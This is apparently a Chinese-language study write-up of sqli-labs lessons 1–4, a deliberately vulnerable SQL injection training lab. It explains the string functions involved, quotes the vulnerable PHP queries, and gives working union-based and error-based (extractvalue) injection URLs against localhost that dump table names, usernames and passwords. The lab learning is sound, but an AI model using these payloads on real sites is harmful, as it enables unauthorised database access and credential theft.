学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂
group_concat函数
将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果
同理的还有
concat_ws()
limit star,size用法
start:从第几条记录开始。
size:读取几条记录。
sqli-lab-1
关键代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
是被单引号包围,即字符型注入,写payload要末尾注释单引号
用concat_ws()可以加分隔符,便于判断
接下来查询当前数据库的表~ //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~
注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的
用limit查找所有的表名
显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回
接下来爆字段
用concat_wa()发现没用,于是用group_concat()
接下来就是爆字段内容了
paload格式为: select 字段名 from 表名
如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有- 即不能union 注入
接下来利用手工报错注入
介绍两个函数
extractvalue()
updatexml()
用法参考:
https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23
爆值
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(password,'||',username) from users))) %23
看sqli-labs
关键代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号
less-3
关键代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less-4
关键代码
$id = '"' . $id . '"'; //echo $id."\n"; //echo "<br>"; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id是被一对双引号包围的
发现加‘不报错
这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+